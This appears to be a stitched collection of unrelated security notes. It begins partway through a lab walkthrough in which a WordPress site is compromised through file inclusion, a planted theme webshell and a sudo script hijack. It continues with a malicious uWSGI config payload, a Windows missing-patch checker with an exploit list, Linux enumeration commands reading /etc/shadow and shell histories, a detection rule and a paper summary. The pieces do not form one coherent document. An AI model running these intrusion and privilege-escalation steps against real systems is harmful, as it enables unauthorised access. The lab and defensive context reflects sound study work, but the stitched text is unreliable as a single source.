wpscan --url http://192.168.32.212/wordpress/ ``` 再次扫描文本,发现`/secret.txt ` ``` ┌──(root💀kali)-[/tmp] └─# gobuster dir -w /usr/share/wordlists/dirb/common.txt -x .txt -u http://192.168.32.212/ 1 ⨯ =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.32.212/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: txt [+] Timeout: 10s =============================================================== 2022/09/07 05:04:03 Starting gobuster in directory enumeration mode =============================================================== /.htaccess (Status: 403) [Size: 298] /.htaccess.txt (Status: 403) [Size: 302] /.htpasswd (Status: 403) [Size: 298] /.htpasswd.txt (Status: 403) [Size: 302] /.hta (Status: 403) [Size: 293] /.hta.txt (Status: 403) [Size: 297] /dev (Status: 200) [Size: 131] /index.php (Status: 200) [Size: 136] /javascript (Status: 301) [Size: 321] [--> http://192.168.32.212/javascript/] /secret.txt (Status: 200) [Size: 412] /server-status (Status: 403) [Size: 302] /wordpress (Status: 301) [Size: 320] [--> http://192.168.32.212/wordpress/] =============================================================== 2022/09/07 05:04:07 Finished =============================================================== ``` ![image-20220907170442554](../../.gitbook/assets/image-20220907170442554.png) 根据提示访问:`https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web` ``` 1. WFUZZ ==================================================================================== # # ###### # # ###### ###### # # # # # # # # # ##### # # # # # ## # # # # # # ## ## # # # # # # # # #### ###### ###### ==================================================================================== -------------------------------------------------------------------------------------- (i) USE WFUZZ TO ENUMERATE CORRECT PARAMETER FOR A PAGE. --------------------------------------------------------------------------------------- COMMNAD = wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://website.com/secret.php?FUZZ=something And the result is given below 000216: C=200 70 L 500 W 2006 Ch "configs" 000200: C=200 70 L 500 W 2006 Ch "cm" 000201: C=200 70 L 500 W 2006 Ch "cmd" 000195: C=200 70 L 500 W 2006 Ch "classified" 000197: C=200 70 L 500 W 2006 Ch "client" 000204: C=200 70 L 500 W 2006 Ch "coke" Finishing pending requests... ---------------------------------------------------------------------------------------------------------------------- (ii) BUT ABOVE COMMND FAILED IF PAGE ALWAYS RETURN 200(HTTP REPONSE). NOW OUR MODIFIED COMMAND IS =======> ---------------------------------------------------------------------------------------------------------------------- COMMAND = wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 500 http://website-ip/index.php?FUZZ=something And it will return result which is given below. Total requests: 950 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000357: C=200 70 L 500 W 2006 Ch "file" Total time: 3.753362 Processed Requests: 950 Filtered Requests: 949 Requests/sec.: 253.1063 Here we can see C=200(Our HTTP Respone from server). 7 L ==> It means 7 lines return by server. 500 W ==> It means 19 words total count by wfuzz. 2006 Ch ==> It means 206 total chars count by wfuzz which is return by server. After using filter we can remove wrong parameter from our output and right output with right parameter we get. -------------------------------------------------------------------------------------------------------- (*)WORKING WITH FILTERS: | (i) If we want to filter words then we used switch --hw (words_lenth. In above example --hw 12) | (ii) To filter lenth then we used --hl(In above above example this would be --hl 7) (iii) For chars we used --hh (In above example this would br --hh 206) | (iv) For response code we use --hc. And always we attach --hc 404. Because this is common for all. | -------------------------------------------------------------------------------------------------------- ---------------------------------------------------------------- (iii) USE WFUZZ TO FIND OUT SUBDOMAINS. ---------------------------------------------------------------- COMMAND ==> wfuzz -c -w /usr/share/seclists//usr/share/seclists/Discovery/DNS --hc 404 --hw 617 -u website.com -H "HOST: FUZZ.website.com" USE filter to reach your actual subdomains like below command. COMMAND ==> wfuzz -c -w /usr/share/seclists//usr/share/seclists/Discovery/DNS --hc 404 --hw 7873 -u hnpsec.com -H "HOST: FUZZ.hnpsec.com" ``` 爆破参数 ``` ┌──(root💀kali)-[/tmp] └─# wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 12 http://192.168.32.212/index.php?FUZZ /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.32.212/index.php?FUZZ Total requests: 951 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000341: 200 7 L 19 W 206 Ch "file" Total time: 0.812484 Processed Requests: 951 Filtered Requests: 950 Requests/sec.: 1170.484 ``` ![image-20220907171006235](../../.gitbook/assets/image-20220907171006235.png) 爆破参数 ``` ┌──(root💀kali)-[/tmp] └─# wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 17 http://192.168.32.212/image.php?secrettier360=FUZZ /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.32.212/image.php?secrettier360=FUZZ Total requests: 951 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000257: 200 13 L 43 W 328 Ch "dev" Total time: 0.818729 Processed Requests: 951 Filtered Requests: 950 Requests/sec.: 1161.555 ``` ![image-20220907171158572](../../.gitbook/assets/image-20220907171158572.png) 查看passwd文件 ![image-20220907171224943](../../.gitbook/assets/image-20220907171224943.png) ``` saket:x:1001:1001:find password.txt file in my directory:/home/saket: ``` 根据提示访问password文件 ``` ┌──(root💀kali)-[/tmp] └─# curl http://192.168.32.212/image.php?secrettier360=/home/saket/password.txt <html> <title>HacknPentest</title> <body> <img src='hacknpentest.png' alt='hnp security' width="1300" height="595" /></p></p></p> </body> finaly you got the right parameter<br><br><br><br>follow_the_ippsec </html> ``` 使用`victor:follow_the_ippsec`登录wordpress。并且在主题编辑器那边添加webshell ![image-20220907171923631](../../.gitbook/assets/image-20220907171923631.png) webshell:`/wordpress/wp-content/themes/twentynineteen/secret.php` ![image-20220907172050644](../../.gitbook/assets/image-20220907172050644.png) > 可以使用CVE-2017-16995进行提权。 查看sudo列表 ``` www-data@ubuntu:/$ sudo -l sudo -l Matching Defaults entries for www-data on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on ubuntu: (root) NOPASSWD: /home/saket/enc ``` 在`/opt/backup/server_database/backup_pass`找到密码 ``` your password for backup_database file enc is "backup_password" ``` 执行enc命令,生成`enc.txt`和`key.txt` ``` sudo /home/saket/enc enter password: backup_password backup_password good ``` ![image-20220907172728539](../../.gitbook/assets/image-20220907172728539.png) ``` cat enc.txt nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4= cat key.txt I know you are the fan of ippsec. So convert string "ippsec" into md5 hash and use it to gain yourself in your real form. ``` AES解密代码 ``` from Crypto.Cipher import AES from base64 import b64decode data = b64decode(b"nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=") key = b"366a74cb3c959de17d61db30591c39d1" cip = AES.new(key,AES.MODE_ECB) print(cip.decrypt(data).decode("utf-8")) ``` 解密内容 ``` Dont worry saket one day we will reach to our destination very soon. And if you forget your username then use your old password ==> "tribute_to_ippsec" Victor, ``` 切换到sudo用户 ``` saket@ubuntu:~$ sudo -l sudo -l Matching Defaults entries for saket on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User saket may run the following commands on ubuntu: (root) NOPASSWD: /home/victor/undefeated_victor ``` 执行`undefeated_victor`,提示`/tmp/challenge`不存在 ``` saket@ubuntu:~$ sudo /home/victor/undefeated_victor sudo /home/victor/undefeated_victor if you can defeat me then challenge me in front of you /home/victor/undefeated_victor: 2: /home/victor/undefeated_victor: /tmp/challenge: not found ``` 建立`challenge`文件 ``` echo "/bin/sh" > /tmp/challenge && chmod +x challenge ``` 提权成功 ![image-20220907173226175](../../.gitbook/assets/image-20220907173226175.png)
sec-knowleage
# uWSGI configuration file uWSGI configuration files can include “magic” variables, placeholders and operators defined with a precise syntax. The ‘@’ operator in particular is used in the form of @(filename) to include the contents of a file. Many uWSGI schemes are supported, including “exec” - useful to read from a process’s standard output. These operators can be weaponized for Remote Command Execution or Arbitrary File Write/Read when a .ini configuration file is parsed: Example of malicious uwsgi.ini file: ```ini [uwsgi] ; read from a symbol foo = @(sym://uwsgi_funny_function) ; read from binary appended data bar = @(data://[REDACTED]) ; read from http test = @(http://[REDACTED]) ; read from a file descriptor content = @(fd://[REDACTED]) ; read from a process stdout body = @(exec://whoami) ; call a function returning a char * characters = @(call://uwsgi_func) ``` When the configuration file will be parsed(e.g. restart, crash or autoreload) payload will be executed. ## uWSGI lax parsing The uWSGI parsing of configuration file is lax. The previous payload can be embedded inside a binary file(e.g. image, pdf, ...). ## Thanks to * [A New Vector For “Dirty” Arbitrary File Write to RCE - Doyensec - Maxence Schmitt and Lorenzo Stella](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
sec-knowleage
# MeePwn CTF 2018 Quals Team: shalom, eternal, rev, nazywam, c7f.m0d3, rodbert, msm ### Table of contents * [Bazik (crypto)](crypto_bazik) * [Omega Sector (web)](web_omega) * [Old school (crypto)](crypto_old_school) * [Image crackme (re/crypto)](re_image) * [PyCalcX 1 & 2 (web)](web_pycalcx) * [Ezchallz (web/crypto)](crypto_ezchallz) * [0xBAD Minton (web/pwn)](pwn_badminton) * [EX5 (re)](re_EX5) * [XSS (re)](re_XSS) * [BitBitBit (crypto)](crypto_bitbitbit)
sec-knowleage
# 论文日读:From TTP to IoC- Advanced Persistent Graphs for Threat Hunting ## 概要 论文:Berady, Aimad, Mathieu Jaume, Valerie Viet Triem Tong and Gilles Guette. From TTP to IoC: Advanced Persistent Graphs for Threat Hunting. *IEEE Transactions on Network and Service Management* 18, 2 (6/2021): 1321–33. https://doi.org/10.1109/TNSM.2021.3056999. 该论文主要是围绕威胁狩猎的事件响应阶段提出一个高级持久图模型,用以评估和改进检测策略、提取可用的威胁情报(IOCs)。如题所示,即使用图模型将TTP型情报转化为IOC型情报,本质上是利用图模型挖掘攻击实体关系,将高维度数据进行降维的一个过程。同时,论文使用APT29的攻击行为来验证和评估模型。 主要的研究步骤是: - 在全知视角下,对比攻击者和防御者的感知差距 - 对比攻击者意识到的,留在网络上的痕迹 - 防御者通过识别误报、调整检测策略来提升识别质量 使用APT29的真实攻击活动进行验证的过程: - 模拟攻击:模型APT29的TTPs,测试防御架构质量 - 分析日志:通过分析误报和告警,调整检测策略 - 提取IOC:提取可用的CTI,主要为IOC类型 该论文认为威胁狩猎是一个敏捷迭代的过程,使用该套高级持久图模型可以快速从模拟攻击行为的高维度TTP中,提取可落地检测的IOC型情报。 ## 笔记 ![image-20211110112136692](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/image-20211110112136692.png) 图:模型结构展示 ![image-20211110113338617](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/image-20211110113338617.png) 图:通过APT模拟攻击行为所得的图**G**𝐴
sec-knowleage
# T1518-001-win-利用wmic发现安全软件 ## 来自ATT&CK的描述 攻击者可能会尝试获取安装在系统或云环境中的安全软件,配置,防御工具和传感器的列表。这可能包括诸如防火墙规则和防病毒之类的内容。攻击者可以在自动发现过程中使用来自安全软件发现的信息来塑造后续行为,包括攻击者是否完全感染目标和/或尝试执行特定操作。 可用于获得安全软件的信息例如命令的netsh,reg query,dir与CMD,和任务列表,但发现行为其他指标可以是更具体的软件或安全系统的攻击者正在寻找的类型。看到macOS恶意软件对LittleSnitch和KnockKnock软件执行检查已变得越来越普遍。 ## 测试案例 枚举出目标系统安装的反病毒产品信息,包括安装位置和版本: ```wmic wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe ``` ## 检测日志 windows 安全日志 ## 测试复现 ```dos C:\Users\Administrator>wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe 错误: 描述 = 找不到 ``` ## 测试留痕 ```xml <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> <System> <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E3B0328C30D}" /> <EventID>4688</EventID> <Version>2</Version> <Level>0</Level> <Task>13312</Task> <Opcode>0</Opcode> <Keywords>0x8020000000000000</Keywords> <TimeCreated SystemTime="2021-08-08T12:11:06.644030100Z" /> <EventRecordID>249140</EventRecordID> <Correlation /> <Execution ProcessID="4" ThreadID="212" /> <Channel>Security</Channel> <Computer>WIN-1CIA2BP8VBJ.qax.com</Computer> <Security /> </System> <EventData> <Data Name="SubjectUserSid">S-1-5-21-1180088053-4000917822-266516913-500</Data> <Data Name="SubjectUserName">Administrator</Data> <Data Name="SubjectDomainName">QAX</Data> <Data Name="SubjectLogonId">0x187cd2</Data> <Data Name="NewProcessId">0x1384</Data> <Data Name="NewProcessName">C:\Windows\System32\wbem\WMIC.exe</Data> <Data Name="TokenElevationType">%%1936</Data> <Data Name="ProcessId">0x151c</Data> <Data Name="CommandLine">wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe</Data> <Data Name="TargetUserSid">S-1-0-0</Data> <Data Name="TargetUserName">-</Data> <Data Name="TargetDomainName">-</Data> <Data Name="TargetLogonId">0x0</Data> <Data Name="ParentProcessName">C:\Windows\System32\cmd.exe</Data> <Data Name="MandatoryLabel">S-1-16-12288</Data> </EventData> </Event> ``` ## 检测规则/思路 ### sigma规则 ```yml title: windows wmi发现本地安全软件 description: windows server 2016 references: 暂无 tags: T1518-001 status: experimental logsource: product: windows service: security detection: selection: EventID: 4688 #进程创建 Newprocessname: 'C:\Windows\System32\wbem\WMIC.exe' #进程信息>新进程名称 Processcommandline: '/namespace:\\root\SecurityCenter2 * GET *' #进程信息>进程命令行 condition: selection level: low ``` ### 建议 系统和网络发现技术通常发生在攻击者了解环境的整个行动中。不应孤立地看待数据和事件,而应根据获得的信息,将其视为可能导致其他活动(如横向运动)的行为链的一部分。 监视进程和命令行参数,以了解为收集系统和网络信息而可能采取的操作。具有内置功能的远程访问工具可以直接与Windows API交互以收集信息。还可以通过Windows系统管理工具(如Windows management Instrumentation和PowerShell)获取信息。 ## 参考推荐 MITRE-ATT&CK-T1518-001 <https://attack.mitre.org/techniques/T1518/001> 比CMD更强大的命令行:WMIC后渗透利用(系统命令) <https://blog.csdn.net/discover2210212455/article/details/82711930> discovery_security_software_wmic <https://github.com/elastic/detection-rules/blob/main/rules/windows/discovery_security_software_wmic.toml>
sec-knowleage
## How to setup a ftp server quickly Pleaes install [**pyftpdlib**](https://github.com/giampaolo/pyftpdlib) with pip or easy_install. ``` sudo easy_install pysendfile sudo easy_install pyftpdlib ``` or ``` sudo pip2 install pysendfile sudo pip2 install pyftpdlib ``` If you have installed **pyftpdlib** successfully, please start it as follow: ``` root@lab:/tmp/pyftpdlib# python -m pyftpdlib -w -p 21 pyftpdlib/authorizers.py:240: RuntimeWarning: write permissions assigned to anonymous user. RuntimeWarning) [I 2016-03-06 10:00:11] >>> starting FTP server on 0.0.0.0:21, pid=2090 <<< [I 2016-03-06 10:00:11] concurrency model: async [I 2016-03-06 10:00:11] masquerade (NAT) address: None [I 2016-03-06 10:00:11] passive ports: None [I 2016-03-06 10:00:40] 192.168.1.103:52874-[] FTP session opened (connect) [I 2016-03-06 10:00:40] 192.168.1.103:52874-[anonymous] USER 'anonymous' logged in. [I 2016-03-06 10:00:45] 192.168.1.103:52874-[anonymous] FTP session closed (disconnect). [I 2016-03-06 10:01:42] 192.168.1.101:49312-[] FTP session opened (connect) [I 2016-03-06 10:02:12] 192.168.1.101:49312-[] FTP session closed (disconnect). [I 2016-03-06 10:02:24] 192.168.1.101:49313-[] FTP session opened (connect) [I 2016-03-06 10:02:31] 192.168.1.101:49313-[anonymous] USER 'anonymous' logged in. [I 2016-03-06 10:06:28] 192.168.1.101:49313-[anonymous] RETR /tmp/pyftpdlib/setup.py completed=1 bytes=5183 seconds=0.004 [I 2016-03-06 10:07:29] 192.168.1.101:49313-[anonymous] FTP session closed (disconnect). [I 2016-03-06 10:08:11] 192.168.1.104:1033-[] FTP session opened (connect) [I 2016-03-06 10:08:17] 192.168.1.104:1033-[anonymous] USER 'anonymous' logged in. [I 2016-03-06 10:10:43] 192.168.1.104:1033-[anonymous] FTP session closed (disconnect). ``` Windows FTP console client: ``` C:\Documents and Settings\test\Desktop>ver Microsoft Windows XP [Version 5.1.2600] C:\Documents and Settings\test\Desktop>ftp 192.168.1.103 Connected to 192.168.1.103. 220 pyftpdlib 1.5.0 ready. User (192.168.1.103:(none)): anonymous 331 Username ok, send password. Password: 230 Login successful. ftp> ls 200 Active data connection established. 125 Data connection already open. Transfer starting. .ci .coveragerc .git ... ... ``` You can also use other clients, ex: ncftp.
sec-knowleage
# Windows 提权 -- 快速查找 exp ### 微软官方时刻关注列表网址: ~~https://technet.microsoft.com/zh-cn/library/security/dn639106.aspx~~ 地址更新为: https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/securitybulletins2017 ![](media/dff0648ea3163cbe403c144932470520.jpg) 比如常用的几个已公布的 exp: * KB2592799 * KB3000061 * KB2592799 * ... 快速查找未打补丁的 exp,可以最安全的减少目标机的未知错误,以免影响业务。 命令行下执行检测未打补丁的命令如下: ```powershell systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt ``` **注:**以上需要在可写目录执行。需要临时生成micrpoor.txt,以上补丁编号请根据环境来增删。 ### 示例 一般实战中在类似 `tmp` 目录等可写目录下执行:如 `C:\tmp>` 以 `11-080` 为例: ![](media/3b63ae0a14a9720140246f049ed8ab41.jpg) ![](media/b0f61077ab0e9fd3adeed9eafc0860c6.jpg) ![](media/bd807d9aabc43114610a6acee7338a78.jpg) ### exp注: ```markdown MS17-017 [KB4013081] [GDI Palette Objects Local Privilege Escalation] (windows 7/8) CVE-2017-8464 [LNK Remote Code Execution Vulnerability] (windows 10/8.1/7/2016/2010/2008) CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows 10/8.1/7/2016/2010/2008) MS17-010 [KB4013389] [Windows Kernel Mode Drivers](windows 7/2008/2003/XP) MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016) MS16-111 [KB3186973] [kernel api] (Windows 10 10586 (32/64)/8.1) MS16-098 [KB3178466] [Kernel Driver] (Win 8.1) MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012) MS16-034 [KB3143145] [Kernel Driver] (2008/7/8/10/2012) MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012) MS16-016 [KB3136041] [WebDAV] (2008/Vista/7) MS15-097 [KB3089656] [remote code execution] (win8.1/2012) MS15-076 [KB3067505] [RPC] (2003/2008/7/8/2012) MS15-077 [KB3077657] [ATM] (XP/Vista/Win7/Win8/2000/2003/2008/2012) MS15-061 [KB3057839] [Kernel Driver] (2003/2008/7/8/2012) MS15-051 [KB3057191] [Windows Kernel Mode Drivers] (2003/2008/7/8/2012) MS15-010 [KB3036220] [Kernel Driver] (2003/2008/7/8) MS15-015 [KB3031432] [Kernel Driver] (Win7/8/8.1/2012/RT/2012 R2/2008 R2) MS15-001 [KB3023266] [Kernel Driver] (2008/2012/7/8) MS14-070 [KB2989935] [Kernel Driver] (2003) MS14-068 [KB3011780] [Domain Privilege Escalation] (2003/2008/2012/7/8) MS14-058 [KB3000061] [Win32k.sys] (2003/2008/2012/7/8) MS14-040 [KB2975684] [AFD Driver] (2003/2008/2012/7/8) MS14-002 [KB2914368] [NDProxy] (2003/XP) MS13-053 [KB2850851] [win32k.sys] (XP/Vista/2003/2008/win 7) MS13-046 [KB2840221] [dxgkrnl.sys] (Vista/2003/2008/2012/7) MS13-005 [KB2778930] [Kernel Mode Driver] (2003/2008/2012/win7/8) MS12-042 [KB2972621] [Service Bus] (2008/2012/win7) MS12-020 [KB2671387] [RDP] (2003/2008/7/XP) MS11-080 [KB2592799] [AFD.sys] (2003/XP) MS11-062 [KB2566454] [NDISTAPI] (2003/XP) MS11-046 [KB2503665] [AFD.sys] (2003/2008/7/XP) MS11-011 [KB2393802] [kernel Driver] (2003/2008/7/XP/Vista) MS10-092 [KB2305420] [Task Scheduler] (2008/7) MS10-065 [KB2267960] [FastCGI] (IIS 5.1, 6.0, 7.0, and 7.5) MS10-059 [KB982799] [ACL-Churraskito] (2008/7/Vista) MS10-048 [KB2160329] [win32k.sys] (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7) MS10-015 [KB977165] [KiTrap0D] (2003/2008/7/XP) MS10-012 [KB971468] [SMB Client Trans2 stack overflow] (Windows 7/2008R2) MS09-050 [KB975517][Remote Code Execution] (2008/Vista) MS09-020 [KB970483] [IIS 6.0] (IIS 5.1 and 6.0) MS09-012 [KB959454] [Chimichurri] (Vista/win7/2008/Vista) MS08-068 [KB957097] [Remote Code Execution] (2000/XP) MS08-067 [KB958644] [Remote Code Execution] (Windows 2000/XP/Server 2003/Vista/Server 2008) MS08-066 [] [] (Windows 2000/XP/Server 2003) MS08-025 [KB941693] [Win32.sys] (XP/2003/2008/Vista) MS06-040 [KB921883] [Remote Code Execution] (2003/xp/2000) MS05-039 [KB899588] [PnP Service] (Win 9X/ME/NT/2000/XP/2003) MS03-026 [KB823980] [Buffer Overrun In RPC Interface] (/NT/2000/XP/2003) ``` ### 已对外公开exp注: https://github.com/SecWiki/windows-kernel-exploits https://github.com/WindowsExploits/Exploits https://github.com/AusJock/Privilege-Escalation <p align="right">--By Micropoor </p>
sec-knowleage
# 信息 `记录收集 Linux 系统软硬件信息的命令` --- ## 大纲 * **[软件](#软件)** * [版本信息](#版本信息) * [环境变量](#环境变量) * [开机启动](#开机启动) * [日志](#日志) * [应用服务](#应用服务) * [用户相关](#用户相关) * **[硬件](#硬件)** * [CPU](#CPU) * [内存](#内存) * [时间负载](#时间负载) * [网络](#网络) * [硬盘文件系统](#硬盘文件系统) --- ## 软件 ### 版本信息 ```bash hostname # 查看服务器主机名命令 cat /etc/*-release # 查看通用 Linux 发行版版本 cat /etc/lsb-release # Debian based cat /etc/issue # 查看 Ubuntu Debian 系发行版版本命令 cat /etc/redhat-release # 查看 CentOS RedHat 系发行版版本命令 cat /proc/version # 查看系统版本 ``` **内核信息** ```bash uname -r # 查看内核版本 uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz- ``` --- ### 环境变量 ```bash cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set export # 查看所有环境变量 ``` --- ### 开机启动 ```bash chkconfig # 查看开机启动服务命令 ls /etc/init.d # 查看开机启动配置文件命令 cat /etc/rc.local # 查看 rc 启动文件 ``` ### 定时任务 ```bash crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root ``` --- ### 日志 ```bash cat /etc/httpd/logs/access_log cat /etc/httpd/logs/access.log cat /etc/httpd/logs/error_log cat /etc/httpd/logs/error.log cat /var/log/apache2/access_log cat /var/log/apache2/access.log cat /var/log/apache2/error_log cat /var/log/apache2/error.log cat /var/log/apache/access_log cat /var/log/apache/access.log cat /var/log/auth.log # 存储来自可插拔认证模块(PAM)的日志,包括成功的登录,失败的登录尝试和认证方式。 cat /var/log/chttp.log cat /var/log/cups/error_log # 记录打印信息日志的报错信息 cat /var/log/dpkg.log cat /var/log/faillog cat /var/log/httpd/access_log cat /var/log/httpd/access.log cat /var/log/httpd/error_log cat /var/log/httpd/error.log cat /var/log/lastlog # 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,可以使用 lastlog 命令查看 cat /var/log/lighttpd/access.log cat /var/log/lighttpd/error.log cat /var/log/lighttpd/lighttpd.access.log cat /var/log/lighttpd/lighttpd.error.log cat /var/log/messages # 核心系统日志文件,包含系统启动引导,系统运行状态和大部分错误信息等都会记录到这个文件,因此这个日志是故障诊断的首要查看对象. cat /var/log/secure cat /var/log/syslog cat /var/log/wtmp # 由多个程序执行,记录用户登录时间 cat /var/log/xferlog cat /var/log/yum.log cat /var/run/utmp cat /var/webmin/miniserv.log cat /var/www/logs/access_log cat /var/www/logs/access.log ls -alh /var/lib/dhcp3/ ls -alh /var/log/postgresql/ ls -alh /var/log/proftpd/ ls -alh /var/log/samba/ ``` --- ### 应用服务 **进程信息** ```bash ps -aux # 列出所有进程以及相关信息命令 ps -ef top # 总览系统全面信息命令,Ctrl + C 退出界面 cat /etc/services ``` **仓库** ```bash apt-key list # 查看仓库密钥 ``` **哪些服务以 root 运行** ```bash ps aux | grep root ps -ef | grep root ``` **安装了哪些程序?什么版本?是否正在运行?** ```bash ls -alh /usr/bin/ ls -alh /sbin/ dpkg -l rpm -qa ls -alh /var/cache/apt/archivesO ls -alh /var/cache/yum/ ``` **查看服务配置** ```bash cat /etc/syslog.conf cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.conf cat /etc/my.conf cat /etc/httpd/conf/httpd.conf cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk '$1 ~ /^.*r.*/ ``` --- ### 用户相关 ```bash w # 查看系统时间,负载,登入用户,用户使用资源情况命令 cut -d: -f1 /etc/passwd # 查看系统所有用户命令 last # 查看系统前几次登录情况 crontab -l # 查看用户计划任务情况命令 crontab -e # 编辑计划任务命令 id # 显示真实有效的用户 ID(UID)和组 ID(GID) whoami # 当前用户 groups # 当前组 who # 显示目前登录系统的用户信息 grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users awk -F: '($3 == "0") {print}' /etc/passwd # List of super users cat /etc/sudoers sudo -l compgen -c # 列出所有可用的命令 ulimit -a # 显示登录用户的资源限制 ``` **敏感文件** ```bash cat /etc/passwd cat /etc/group cat /etc/shadow ls -alh /var/mail/ cat /var/apache2/config.inc cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg ``` **历史记录** ```bash cat ~/.bash_history cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history ``` **mail 信息** ``` cat /var/spool/mail/root ``` --- ## 硬件 **查看硬件信息** ```bash lspci # 打印有关系统中所有 PCI 总线和设备的详细信息 lsmod # 显示可加载内核模块 lsusb # 查看 usb 设备 lsblk # 列出所有可用块设备的信息 lshw # 查看硬件信息 ulimit # 显示系统资源限制的信息 lpstat -a # 显示 CUPS 中打印机的状态信息 ``` ### CPU ```bash cat /proc/cpuinfo # 查看 CPU 核心数,架构,名字,频率,缓存,指令集等 cat /proc/stat # CPU 使用 grep name /proc/cpuinfo # 查看 CPU 名字 grep cores /proc/cpuinfo # 查看 CPU 核心数 grep MHz /proc/cpuinfo # 查看 CPU 频率 lscpu # 显示 CPU 的架构信息 dmidecode -t 4 | less ``` --- ### 内存 ```bash free # 展示物理内存和交换分区内存中已使用的和未使用的数量,以及内核使用的缓冲区和缓存。这些信息都是从 /proc/meminfo 文件中获取的。 free -m # 查看内存总量,使用量,swap 信息等 total used free shared buff/cache available Mem: 15867 9199 1702 3315 4965 3039 Swap: 17454 666 16788 # total:总的内存量 # used:被当前运行中的进程使用的内存量(used = total - free - buff/cache) # free: 未被使用的内存量(free = total - used - buff/cache) # shared: 在两个或多个进程之间共享的内存量 # buffers: 内存中保留用于内核记录进程队列请求的内存量 # cache: 在 RAM 中存储最近使用过的文件的页缓冲大小 # buff/cache: 缓冲区和缓存总的使用内存量 # available: 可用于启动新应用的可用内存量(不含交换分区) ``` ```bash vmstat # vmstat 报告的信息包括:进程、内存、页面映射、块 I/O、陷阱、磁盘和 CPU 特性信息。vmstat 不需要特殊的权限,并且它可以帮助诊断系统瓶颈。 vmstat procs -----------memory---------- ---swap-- -----io---- -system-- ------cpu----- r b swpd free buff cache si so bi bo in cs us sy id wa st 1 0 682060 1769324 234188 4853500 0 3 25 91 31 16 34 13 52 0 0 # procs:进程 # r: 可以运行的进程数目(正在运行或等待运行) # b: 处于不可中断睡眠中的进程数目 # memory:内存 # swpd: 使用的虚拟内存数量 # free: 空闲的内存数量 # buff: 用作缓冲区内存的数量 # cache: 用作缓存内存的数量 # inact: 不活动的内存数量(使用 -a 选项) # active: 